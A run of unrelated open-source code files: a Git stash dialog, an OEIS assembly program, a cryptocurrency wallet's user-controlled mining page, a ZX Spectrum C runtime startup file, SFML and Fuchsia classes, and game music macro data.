GitClient::StatusChanged: { switch (promptModifiedRepository(*stash)) { case ModifiedRepositoryCancel: return false; case ModifiedRepositoryStash: if (GitPlugin::client()->synchronousStash(m_repository, QString(), GitClient::StashPromptDescription).isEmpty()) return false; *stash = nextStash(*stash); // Our stash id to be restored changed QTC_ASSERT(!stash->isEmpty(), return false); break; case ModifiedRepositoryDiscard: if (!GitPlugin::client()->synchronousReset(m_repository)) return false; break; } modifiedPromptShown = true; } break; case GitClient::StatusUnchanged: break; } // Prompt for branch or just ask. if (branch) { *branch = stashRestoreDefaultBranch(*stash); if (!inputText(this, tr("Restore Stash to Branch"), tr("Branch:"), branch) || branch->isEmpty()) return false; } else { if (!modifiedPromptShown && !ask(tr("Stash Restore"), tr("Would you like to restore %1?").arg(stashIn))) return false; } return true; } static inline QString msgRestoreFailedTitle(const QString &stash) { return StashDialog::tr("Error restoring %1").arg(stash); } void StashDialog::restoreCurrent() { const int index = currentRow(); QTC_ASSERT(index >= 0, return); QString errorMessage; QString name = m_model->at(index).name; // Make sure repository is not modified, restore. The command will // output to window on success. if (promptForRestore(&name, 0, &errorMessage) && GitPlugin::client()->synchronousStashRestore(m_repository, name)) { refresh(m_repository, true); // Might have stashed away local changes. } else if (!errorMessage.isEmpty()) { warning(msgRestoreFailedTitle(name), errorMessage); } } void StashDialog::restoreCurrentInBranch() { const int index = currentRow(); QTC_ASSERT(index >= 0, return); QString errorMessage; QString branch; QString name = m_model->at(index).name; if (promptForRestore(&name, &branch, &errorMessage) && GitPlugin::client()->synchronousStashRestore(m_repository, name, false, branch)) { refresh(m_repository, true); // git deletes the stash, unfortunately. } else if (!errorMessage.isEmpty()) { warning(msgRestoreFailedTitle(name), errorMessage); } } int StashDialog::currentRow() const { const QModelIndex proxyIndex = ui->stashView->currentIndex(); if (proxyIndex.isValid()) { const QModelIndex index = m_proxyModel->mapToSource(proxyIndex); if (index.isValid()) return index.row(); } return -1; } QList<int> StashDialog::selectedRows() const { QList<int> rc; const QModelIndexList rows = ui->stashView->selectionModel()->selectedRows(); for (const QModelIndex &proxyIndex : rows) { const QModelIndex index = m_proxyModel->mapToSource(proxyIndex); if (index.isValid()) rc.push_back(index.row()); } Utils::sort(rc); return rc; } void StashDialog::forceRefresh() { refresh(m_repository, true); } void StashDialog::enableButtons() { const bool hasRepository = !m_repository.isEmpty(); const bool hasStashes = hasRepository && m_model->rowCount(); const bool hasCurrentRow = hasRepository && hasStashes && currentRow() >= 0; m_deleteAllButton->setEnabled(hasStashes); m_showCurrentButton->setEnabled(hasCurrentRow); m_restoreCurrentButton->setEnabled(hasCurrentRow); m_restoreCurrentInBranchButton->setEnabled(hasCurrentRow); const bool hasSelection = !ui->stashView->selectionModel()->selectedRows().isEmpty(); m_deleteSelectionButton->setEnabled(hasSelection); m_refreshButton->setEnabled(hasRepository); } void StashDialog::warning(const QString &title, const QString &what, const QString &details) { QMessageBox msgBox(QMessageBox::Warning, title, what, QMessageBox::Ok, this); if (!details.isEmpty()) msgBox.setDetailedText(details); msgBox.exec(); } bool StashDialog::ask(const QString &title, const QString &what, bool defaultButton) { return QMessageBox::question( this, title, what, QMessageBox::Yes | QMessageBox::No, defaultButton ? QMessageBox::Yes : QMessageBox::No) == QMessageBox::Yes; } } // namespace Internal } // namespace Git
; A065361: Rebase n from 3 to 2. Replace 3^k with 2^k in ternary expansion of n. ; 0,1,2,2,3,4,4,5,6,4,5,6,6,7,8,8,9,10,8,9,10,10,11,12,12,13,14,8,9,10,10,11,12,12,13,14,12,13,14,14,15,16,16,17,18,16,17,18,18,19,20,20,21,22,16,17,18,18,19,20,20,21,22,20,21,22,22,23,24,24,25,26,24,25,26,26,27,28,28,29,30,16,17,18,18,19,20,20,21,22,20,21,22,22,23,24,24,25,26,24 mov $1,4086 mov $2,$0 lpb $2 lpb $2 mul $1,2 dif $2,3 lpe add $0,$1 sub $2,1 lpe div $0,4086
#include "miningpage.h" #include "ui_miningpage.h" MiningPage::MiningPage(QWidget *parent) : QWidget(parent), ui(new Ui::MiningPage) { ui->setupUi(this); setFixedSize(400, 420); minerActive = false; minerProcess = new QProcess(this); minerProcess->setProcessChannelMode(QProcess::MergedChannels); readTimer = new QTimer(this); acceptedShares = 0; rejectedShares = 0; roundAcceptedShares = 0; roundRejectedShares = 0; initThreads = 0; connect(readTimer, SIGNAL(timeout()), this, SLOT(readProcessOutput())); connect(ui->startButton, SIGNAL(pressed()), this, SLOT(startPressed())); connect(ui->typeBox, SIGNAL(currentIndexChanged(int)), this, SLOT(typeChanged(int))); connect(ui->debugCheckBox, SIGNAL(toggled(bool)), this, SLOT(debugToggled(bool))); connect(minerProcess, SIGNAL(started()), this, SLOT(minerStarted())); connect(minerProcess, SIGNAL(error(QProcess::ProcessError)), this, SLOT(minerError(QProcess::ProcessError))); connect(minerProcess, SIGNAL(finished(int,QProcess::ExitStatus)), this, SLOT(minerFinished())); connect(minerProcess, SIGNAL(readyRead()), this, SLOT(readProcessOutput())); } MiningPage::~MiningPage() { minerProcess->kill(); delete ui; } void MiningPage::setModel(ClientModel *model) { this->model = model; loadSettings(); bool pool = model->getMiningType() == ClientModel::PoolMining; ui->threadsBox->setValue(model->getMiningThreads()); ui->typeBox->setCurrentIndex(pool ? 1 : 0); // if (model->getMiningStarted()) // startPressed(); } void MiningPage::startPressed() { initThreads = ui->threadsBox->value(); if (minerActive == false) { saveSettings(); if (getMiningType() == ClientModel::SoloMining) minerStarted(); else startPoolMining(); } else { if (getMiningType() == ClientModel::SoloMining) minerFinished(); else stopPoolMining(); } } void MiningPage::startPoolMining() { QStringList args; QString url = ui->serverLine->text(); if (!url.contains("http://")) url.prepend("http://"); QString urlLine = QString("%1:%2").arg(url, ui->portLine->text()); QString userpassLine = QString("%1:%2").arg(ui->usernameLine->text(), ui->passwordLine->text()); args << "--algo" << "scrypt"; args << "--scantime" << ui->scantimeBox->text().toAscii(); args << "--url" << urlLine.toAscii(); args << "--userpass" << userpassLine.toAscii(); args << "--threads" << ui->threadsBox->text().toAscii(); args << "--retries" << "-1"; // Retry forever. args << "-P"; // This is needed for this to work correctly on Windows. Extra protocol dump helps flush the buffer quicker. threadSpeed.clear(); acceptedShares = 0; rejectedShares = 0; roundAcceptedShares = 0; roundRejectedShares = 0; // If minerd is in current path, then use that. Otherwise, assume minerd is in the path somewhere. QString program = QDir::current().filePath("minerd"); if (!QFile::exists(program)) program = "minerd"; if (ui->debugCheckBox->isChecked()) ui->list->addItem(args.join(" ").prepend(" ").prepend(program)); ui->mineSpeedLabel->setText("Speed: N/A"); ui->shareCount->setText("Accepted: 0 - Rejected: 0"); minerProcess->start(program,args); minerProcess->waitForStarted(-1); readTimer->start(500); } void MiningPage::stopPoolMining() { ui->mineSpeedLabel->setText(""); minerProcess->kill(); readTimer->stop(); } void MiningPage::saveSettings() { model->setMiningDebug(ui->debugCheckBox->isChecked()); model->setMiningScanTime(ui->scantimeBox->value()); model->setMiningServer(ui->serverLine->text()); model->setMiningPort(ui->portLine->text()); model->setMiningUsername(ui->usernameLine->text()); model->setMiningPassword(ui->passwordLine->text()); } void MiningPage::loadSettings() { ui->debugCheckBox->setChecked(model->getMiningDebug()); ui->scantimeBox->setValue(model->getMiningScanTime()); ui->serverLine->setText(model->getMiningServer()); ui->portLine->setText(model->getMiningPort()); ui->usernameLine->setText(model->getMiningUsername()); ui->passwordLine->setText(model->getMiningPassword()); } void MiningPage::readProcessOutput() { QByteArray output; minerProcess->reset(); output = minerProcess->readAll(); QString outputString(output); if (!outputString.isEmpty()) { QStringList list = outputString.split("\n", QString::SkipEmptyParts); int i; for (i=0; i<list.size(); i++) { QString line = list.at(i); // Ignore protocol dump if (!line.startsWith("[") || line.contains("JSON protocol") || line.contains("HTTP hdr")) continue; if (ui->debugCheckBox->isChecked()) { ui->list->addItem(line.trimmed()); ui->list->scrollToBottom(); } if (line.contains("(yay!!!)")) reportToList("Share accepted", SHARE_SUCCESS, getTime(line)); else if (line.contains("(booooo)")) reportToList("Share rejected", SHARE_FAIL, getTime(line)); else if (line.contains("LONGPOLL detected new block")) reportToList("LONGPOLL detected a new block", LONGPOLL, getTime(line)); else if (line.contains("Supported options:")) reportToList("Miner didn't start properly. Try checking your settings.", ERROR, NULL); else if (line.contains("The requested URL returned error: 403")) reportToList("Couldn't connect. Please check your username and password.", ERROR, NULL); else if (line.contains("HTTP request failed")) reportToList("Couldn't connect. Please check pool server and port.", ERROR, NULL); else if (line.contains("JSON-RPC call failed")) reportToList("Couldn't communicate with server. Retrying in 30 seconds.", ERROR, NULL); else if (line.contains("thread ") && line.contains("khash/s")) { QString threadIDstr = line.at(line.indexOf("thread ")+7); int threadID = threadIDstr.toInt(); int threadSpeedindx = line.indexOf(","); QString threadSpeedstr = line.mid(threadSpeedindx); threadSpeedstr.chop(8); threadSpeedstr.remove(", "); threadSpeedstr.remove(" "); threadSpeedstr.remove('\n'); double speed=0; speed = threadSpeedstr.toDouble(); threadSpeed[threadID] = speed; updateSpeed(); } } } } void MiningPage::minerError(QProcess::ProcessError error) { if (error == QProcess::FailedToStart) { reportToList("Miner failed to start. Make sure you have the minerd executable and libraries in the same directory as worstcoin-qt.", ERROR, NULL); } } void MiningPage::minerFinished() { if (getMiningType() == ClientModel::SoloMining) reportToList("Solo mining stopped.", ERROR, NULL); else reportToList("Miner exited.", ERROR, NULL); ui->list->addItem(""); minerActive = false; resetMiningButton(); model->setMining(getMiningType(), false, initThreads, 0); } void MiningPage::minerStarted() { if (!minerActive) if (getMiningType() == ClientModel::SoloMining) reportToList("Solo mining started.", ERROR, NULL); else reportToList("Miner started. You might not see any output for a few minutes.", STARTED, NULL); minerActive = true; resetMiningButton(); model->setMining(getMiningType(), true, initThreads, 0); } void MiningPage::updateSpeed() { double totalSpeed=0; int totalThreads=0; QMapIterator<int, double> iter(threadSpeed); while(iter.hasNext()) { iter.next(); totalSpeed += iter.value(); totalThreads++; } // If all threads haven't reported the hash speed yet, make an assumption if (totalThreads != initThreads) { totalSpeed = (totalSpeed/totalThreads)*initThreads; } QString speedString = QString("%1").arg(totalSpeed); QString threadsString = QString("%1").arg(initThreads); QString acceptedString = QString("%1").arg(acceptedShares); QString rejectedString = QString("%1").arg(rejectedShares); QString roundAcceptedString = QString("%1").arg(roundAcceptedShares); QString roundRejectedString = QString("%1").arg(roundRejectedShares); if (totalThreads == initThreads) ui->mineSpeedLabel->setText(QString("Speed: %1 khash/sec - %2 thread(s)").arg(speedString, threadsString)); else ui->mineSpeedLabel->setText(QString("Speed: ~%1 khash/sec - %2 thread(s)").arg(speedString, threadsString)); ui->shareCount->setText(QString("Accepted: %1 (%3) - Rejected: %2 (%4)").arg(acceptedString, rejectedString, roundAcceptedString, roundRejectedString)); model->setMining(getMiningType(), true, initThreads, totalSpeed*1000); } void MiningPage::reportToList(QString msg, int type, QString time) { QString message; if (time == NULL) message = QString("[%1] - %2").arg(QTime::currentTime().toString(), msg); else message = QString("[%1] - %2").arg(time, msg); switch(type) { case SHARE_SUCCESS: acceptedShares++; roundAcceptedShares++; updateSpeed(); break; case SHARE_FAIL: rejectedShares++; roundRejectedShares++; updateSpeed(); break; case LONGPOLL: roundAcceptedShares = 0; roundRejectedShares = 0; break; default: break; } ui->list->addItem(message); ui->list->scrollToBottom(); } // Function for fetching the time QString MiningPage::getTime(QString time) { if (time.contains("[")) { time.resize(21); time.remove("["); time.remove("]"); time.remove(0,11); return time; } else return NULL; } void MiningPage::enableMiningControls(bool enable) { ui->typeBox->setEnabled(enable); ui->threadsBox->setEnabled(enable); ui->scantimeBox->setEnabled(enable); ui->serverLine->setEnabled(enable); ui->portLine->setEnabled(enable); ui->usernameLine->setEnabled(enable); ui->passwordLine->setEnabled(enable); } void MiningPage::enablePoolMiningControls(bool enable) { ui->scantimeBox->setEnabled(enable); ui->serverLine->setEnabled(enable); ui->portLine->setEnabled(enable); ui->usernameLine->setEnabled(enable); ui->passwordLine->setEnabled(enable); } ClientModel::MiningType MiningPage::getMiningType() { if (ui->typeBox->currentIndex() == 0) // Solo Mining { return ClientModel::SoloMining; } else if (ui->typeBox->currentIndex() == 1) // Pool Mining { return ClientModel::PoolMining; } return ClientModel::SoloMining; } void MiningPage::typeChanged(int index) { if (index == 0) // Solo Mining { enablePoolMiningControls(false); } else if (index == 1) // Pool Mining { enablePoolMiningControls(true); } } void MiningPage::debugToggled(bool checked) { model->setMiningDebug(checked); } void MiningPage::resetMiningButton() { ui->startButton->setText(minerActive ? "Stop Mining" : "Start Mining"); enableMiningControls(!minerActive); }
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; zx spectrum ram model ;; ;; generated by target/zx/startup/zx_crt_ram.m4 ;; ;; ;; ;; 48k memory model (flat 64k address space) ;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; CRT AND CLIB CONFIGURATION ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; define CONFIG_ZX include "../crt_defaults.inc" include "crt_target_defaults.inc" include "../crt_rules.inc" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; SET UP MEMORY MODEL ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include "memory_model.inc" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; GLOBAL SYMBOLS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include "../clib_constants.inc" include "clib_target_constants.inc" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; INSTANTIATE DRIVERS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; When FILEs and FDSTRUCTs are instantiated labels are assigned ; to point at created structures. ; ; The label formats are: ; ; __i_stdio_file_n = address of static FILE structure #n (0..__I_STDIO_NUM_FILE-1) ; __i_fcntl_fdstruct_n = address of static FDSTRUCT #n (0..__I_FCNTL_NUM_FD-1) ; __i_fcntl_heap_n = address of allocation #n on heap (0..__I_FCNTL_NUM_HEAP-1) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; create open and closed FILE lists ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; __clib_fopen_max = max number of open FILEs specified by user ; 0 = number of static FILEs instantiated in crt ; __i_stdio_file_n = address of static FILE structure #n (0..I_STDIO_FILE_NUM-1) SECTION data_stdio IF (__clib_fopen_max > 0) | (0 > 0) ; number of FILEs > 0 ; construct list of open files IF 0 > 0 ; number of FILEs statically generated > 0 SECTION data_stdio PUBLIC __stdio_open_file_list __stdio_open_file_list: defw __i_stdio_file_-1 ELSE ; number of FILEs statically generated = 0 SECTION bss_stdio PUBLIC __stdio_open_file_list __stdio_open_file_list: defw 0 ENDIF ; construct list of closed / available FILEs SECTION data_stdio PUBLIC __stdio_closed_file_list __stdio_closed_file_list: defw 0, __stdio_closed_file_list IF __clib_fopen_max > 0 ; create extra FILE structures SECTION bss_stdio __stdio_file_extra: defs (__clib_fopen_max - 0) * 15 SECTION code_crt_init ld bc,__stdio_closed_file_list ld de,__stdio_file_extra ld l,__clib_fopen_max - 0 loop: push hl EXTERN asm_p_forward_list_alt_push_front call asm_p_forward_list_alt_push_front ld de,15 add hl,de ex de,hl pop hl dec l jr nz, loop ENDIF ENDIF IF (__clib_fopen_max = 0) & (0 = 0) ; create empty file lists SECTION bss_stdio PUBLIC __stdio_open_file_list __stdio_open_file_list: defw 0 SECTION data_stdio PUBLIC __stdio_closed_file_list __stdio_closed_file_list: defw 0, __stdio_closed_file_list ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; create fd table ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; __clib_open_max = max number of open fds specified by user ; 0 = number of static file descriptors created PUBLIC __fcntl_fdtbl PUBLIC __fcntl_fdtbl_size IF 0 > 0 ; create rest of fd table in data segment SECTION data_fcntl_fdtable_body EXTERN ASMHEAD_data_fcntl_fdtable_body defc __fcntl_fdtbl = ASMHEAD_data_fcntl_fdtable_body IF __clib_open_max > 0 SECTION data_fcntl_fdtable_body defs (__clib_open_max - 0) * 2 defc __fcntl_fdtbl_size = __clib_open_max ELSE defc __fcntl_fdtbl_size = 0 ENDIF ELSE IF __clib_open_max > 0 ; create fd table in bss segment SECTION bss_fcntl __fcntl_fdtbl: defs __clib_open_max * 2 ELSE ; no fd table at all defc __fcntl_fdtbl = 0 ENDIF defc __fcntl_fdtbl_size = __clib_open_max ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; finalize stdio heap ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; __clib_stdio_heap_size = desired stdio heap size in bytes ; 0 = byte size of static FDSTRUCTs ; 0 = number of heap allocations ; __i_fcntl_heap_n = address of allocation #n on heap (0..__I_FCNTL_NUM_HEAP-1) IF 0 > 0 ; static FDSTRUCTs have been allocated in the heap SECTION data_fcntl PUBLIC __stdio_heap __stdio_heap: defw __stdio_block SECTION data_fcntl_stdio_heap_head __stdio_block: defb 0 ; no owner defb 0x01 ; mtx_plain defb 0 ; number of lock acquisitions defb 0xfe ; spinlock (unlocked) defw 0 ; list of threads blocked on mutex IF __clib_stdio_heap_size > (0 + 14) ; expand stdio heap to desired size SECTION data_fcntl_stdio_heap_body __i_fcntl_heap_0: defw __i_fcntl_heap_1 defw 0 defw __i_fcntl_heap_-1 defs __clib_stdio_heap_size - 0 - 14 ; terminate stdio heap SECTION data_fcntl_stdio_heap_tail __i_fcntl_heap_1: defw 0 ELSE ; terminate stdio heap SECTION data_fcntl_stdio_heap_tail __i_fcntl_heap_0: defw 0 ENDIF ELSE ; no FDSTRUCTs statically created IF __clib_stdio_heap_size > 14 SECTION data_fcntl PUBLIC __stdio_heap __stdio_heap: defw __stdio_block SECTION bss_fcntl PUBLIC __stdio_block __stdio_block: defs __clib_stdio_heap_size SECTION code_crt_init ld hl,__stdio_block ld bc,__clib_stdio_heap_size EXTERN asm_heap_init call asm_heap_init ENDIF ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; STARTUP ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SECTION CODE PUBLIC __Start, __Exit EXTERN _main __Start: IF __crt_enable_restart = 0 ; save state required for successful return to basic push iy exx push hl ENDIF ; save stack address for safe exit ld (__sp),sp include "../clib_init_sp.inc" ; parse command line IF __crt_enable_commandline = 1 IF __SDCC | __SDCC_IX | __SDCC_IY ld hl,0 push hl ; char *argv[] push hl ; int argc ELSE ld hl,0 push hl ; int argc push hl ; char *argv[] ENDIF ENDIF ; initialize sections include "../clib_init_bss.inc" include "../clib_init_data.inc" SECTION code_crt_init ; user and library initialization SECTION code_crt_main ; call user program call _main ; hl = return status ; run exit stack IF __clib_exit_stack_size > 0 EXTERN asm_exit jp asm_exit ; exit function jumps to __Exit ENDIF __Exit: IF __crt_enable_restart = 0 ; returning to caller push hl ; save return status ENDIF SECTION code_crt_exit ; user and library cleanup SECTION code_crt_return ; close files include "../clib_close.inc" ; exit program IF __crt_enable_restart = 0 ; returning to basic pop bc ; bc = return status ld sp,(__sp) ; reset stack location exx pop hl exx pop iy im 1 ei ret ELSE ; restarting program ld sp,(__sp) ; reset stack location jp __Start ENDIF ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; RUNTIME VARS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; SECTION BSS_UNINITIALIZED __sp: defw 0 include "../clib_variables.inc" include "clib_target_variables.inc" ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;; CLIB STUBS ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; include "../clib_stubs.inc"
//////////////////////////////////////////////////////////// // // SFML - Simple and Fast Multimedia Library // Copyright (C) 2007-2014 Laurent Gomila (laurent.gom@gmail.com) // // This software is provided 'as-is', without any express or implied warranty. // In no event will the authors be held liable for any damages arising from the use of this software. // // Permission is granted to anyone to use this software for any purpose, // including commercial applications, and to alter it and redistribute it freely, // subject to the following restrictions: // // 1. The origin of this software must not be misrepresented; // you must not claim that you wrote the original software. // If you use this software in a product, an acknowledgment // in the product documentation would be appreciated but is not required. // // 2. Altered source versions must be plainly marked as such, // and must not be misrepresented as being the original software. // // 3. This notice may not be removed or altered from any source distribution. // //////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////// // Headers //////////////////////////////////////////////////////////// #include <SFML/Window/GlResource.hpp> #include <SFML/Window/GlContext.hpp> #include <SFML/System/Mutex.hpp> #include <SFML/System/Lock.hpp> namespace { // OpenGL resources counter and its mutex unsigned int count = 0; sf::Mutex mutex; } namespace sf { //////////////////////////////////////////////////////////// GlResource::GlResource() { { // Protect from concurrent access Lock lock(mutex); // If this is the very first resource, trigger the global context initialization if (count == 0) priv::GlContext::globalInit(); // Increment the resources counter count++; } // Now make sure that there is an active OpenGL context in the current thread priv::GlContext::ensureContext(); } //////////////////////////////////////////////////////////// GlResource::~GlResource() { // Protect from concurrent access Lock lock(mutex); // Decrement the resources counter count--; // If there's no more resource alive, we can trigger the global context cleanup if (count == 0) priv::GlContext::globalCleanup(); } //////////////////////////////////////////////////////////// void GlResource::ensureGlContext() { priv::GlContext::ensureContext(); } } // namespace sf
// Copyright 2017 The Fuchsia Authors. All rights reserved. // Use of this source code is governed by a BSD-style license that can be // found in the LICENSE file. #include <fs/service.h> #include <utility> #include <zircon/device/vfs.h> namespace fs { Service::Service(Connector connector) : connector_(std::move(connector)) {} Service::~Service() = default; zx_status_t Service::ValidateFlags(uint32_t flags) { return ZX_OK; } zx_status_t Service::Getattr(vnattr_t* attr) { // TODO(ZX-1152): V_TYPE_FILE isn't right, we should use a type for services memset(attr, 0, sizeof(vnattr_t)); attr->mode = V_TYPE_FILE; attr->inode = fuchsia_io_INO_UNKNOWN; attr->nlink = 1; return ZX_OK; } zx_status_t Service::Serve(Vfs* vfs, zx::channel channel, uint32_t flags) { if (!connector_) { return ZX_ERR_NOT_SUPPORTED; } return connector_(std::move(channel)); } bool Service::IsDirectory() const { return false; } zx_status_t Service::GetNodeInfo(uint32_t flags, fuchsia_io_NodeInfo* info) { info->tag = fuchsia_io_NodeInfoTag_service; return ZX_OK; } } // namespace fs
Music_VermilionCity: musicheader 3, 1, Music_VermilionCity_Ch1 musicheader 1, 2, Music_VermilionCity_Ch2 musicheader 1, 3, Music_VermilionCity_Ch3 db $3 Music_VermilionCity_Ch1: stereopanning $f tempo 176 volume $77 dutycycle $2 notetype $c, $65 octave 4 note B_, 4 note G#, 4 note F#, 4 note E_, 4 note D_, 4 octave 3 note B_, 4 note A_, 2 note B_, 1 octave 4 note D_, 1 note E_, 1 note G#, 1 note B_, 1 octave 5 note D_, 1 vibrato $10, $23 Music_VermilionCity_branch_eb6a0: dutycycle $1 notetype $c, $85 callchannel Music_VermilionCity_branch_eb6f9 note F_, 4 octave 4 note D_, 4 note C#, 4 note E_, 4 callchannel Music_VermilionCity_branch_eb6f9 callchannel Music_VermilionCity_branch_eb701 dutycycle $2 notetype $c, $85 callchannel Music_VermilionCity_branch_eb6f9 note F_, 4 octave 4 note D_, 4 note E_, 1 note C#, 1 octave 3 note A_, 1 note E_, 1 octave 4 note C#, 1 octave 3 note A_, 1 note E_, 1 note C_, 1 callchannel Music_VermilionCity_branch_eb6f9 callchannel Music_VermilionCity_branch_eb701 intensity $93 dutycycle $0 note __, 2 note F#, 2 note __, 2 note F#, 2 note __, 2 note F#, 2 note __, 2 note F#, 2 callchannel Music_VermilionCity_branch_eb70c callchannel Music_VermilionCity_branch_eb70c intensity $87 dutycycle $2 octave 4 note D_, 8 octave 3 note G#, 8 note E_, 8 note B_, 8 note A_, 4 note G#, 4 note F#, 4 note E_, 4 octave 2 note B_, 4 note G#, 4 note B_, 4 octave 3 note D_, 4 loopchannel 0, Music_VermilionCity_branch_eb6a0 Music_VermilionCity_branch_eb6f9: octave 3 note C#, 4 note E_, 4 note F#, 2 note A_, 2 note E_, 2 note G#, 2 endchannel Music_VermilionCity_branch_eb701: note D_, 2 note F_, 2 note A_, 2 octave 4 note D_, 2 note E_, 2 note C#, 2 octave 3 note A_, 2 note E_, 2 endchannel Music_VermilionCity_branch_eb70c: note __, 2 note F#, 2 note A_, 2 note F#, 2 octave 4 note D_, 2 octave 3 note F#, 2 note A_, 2 note F#, 2 note __, 2 note G#, 2 note B_, 2 note G#, 2 octave 4 note E_, 2 octave 3 note G#, 2 note B_, 2 note G#, 2 endchannel Music_VermilionCity_Ch2: stereopanning $ff dutycycle $3 notetype $c, $77 vibrato $10, $23 octave 5 note E_, 4 note D_, 4 octave 4 note B_, 4 note G#, 4 note F#, 4 note E_, 4 note F#, 4 note G#, 4 Music_VermilionCity_branch_eb735: notetype $c, $97 callchannel Music_VermilionCity_branch_eb768 note G#, 2 callchannel Music_VermilionCity_branch_eb768 note E_, 2 intensity $b7 octave 3 note B_, 4 octave 4 note C#, 4 note D_, 4 note E_, 4 callchannel Music_VermilionCity_branch_eb77e callchannel Music_VermilionCity_branch_eb77e note F#, 6 note E_, 1 note F#, 1 note E_, 8 note A_, 6 note G#, 1 note A_, 1 note G#, 8 note G#, 14 notetype $6, $57 note __, 1 octave 4 note E_, 1 note G#, 1 note B_, 1 notetype $c, $87 octave 5 note E_, 16 loopchannel 0, Music_VermilionCity_branch_eb735 Music_VermilionCity_branch_eb768: octave 1 note A_, 8 octave 2 note F#, 4 note E_, 4 note D_, 6 note C#, 1 note D_, 1 note E_, 8 octave 1 note A_, 8 octave 2 note F#, 4 note E_, 4 note D_, 6 note E_, 1 note D_, 1 note C#, 2 note E_, 2 octave 1 note A_, 2 endchannel Music_VermilionCity_branch_eb77e: note F#, 8 note B_, 8 note A_, 4 note G#, 4 note F#, 4 note E_, 4 endchannel Music_VermilionCity_Ch3: stereopanning $f0 vibrato $22, $23 notetype $c, $25 octave 2 note E_, 4 note B_, 4 octave 3 note E_, 4 note B_, 4 note D_, 4 note E_, 4 note D_, 2 octave 3 note B_, 1 note G#, 1 note F#, 1 note E_, 1 note D_, 1 octave 2 note B_, 1 Music_VermilionCity_branch_eb79e: notetype $c, $22 callchannel Music_VermilionCity_branch_eb7de octave 5 note A_, 6 intensity $24 note E_, 1 note G#, 1 callchannel Music_VermilionCity_branch_eb7de note A_, 8 intensity $14 octave 3 note D_, 4 note C#, 4 octave 2 note B_, 4 note A_, 4 octave 3 note D_, 2 note __, 4 note D_, 1 note D_, 1 callchannel Music_VermilionCity_branch_eb7f5 octave 4 note D_, 2 octave 3 note D_, 2 note __, 2 note D_, 2 callchannel Music_VermilionCity_branch_eb7f5 intensity $25 octave 3 note E_, 8 octave 4 note E_, 8 octave 3 note B_, 8 octave 4 note E_, 8 octave 2 note E_, 16 octave 3 note E_, 14 intensity $22 octave 5 note E_, 1 note G#, 1 loopchannel 0, Music_VermilionCity_branch_eb79e Music_VermilionCity_branch_eb7de: octave 5 note A_, 8 octave 6 note D_, 4 note C#, 4 octave 5 note B_, 6 note A_, 1 note B_, 1 octave 6 note C#, 8 octave 5 note A_, 8 octave 6 note D_, 4 note C#, 4 octave 5 note B_, 6 octave 6 note C#, 1 octave 5 note B_, 1 endchannel Music_VermilionCity_branch_eb7f5: note A_, 1 note __, 1 note A_, 2 note __, 2 note F#, 2 note E_, 2 note __, 4 note E_, 1 note E_, 1 octave 4 note E_, 1 note __, 1 note D_, 2 note __, 2 octave 3 note B_, 1 octave 4 note C#, 1 endchannel
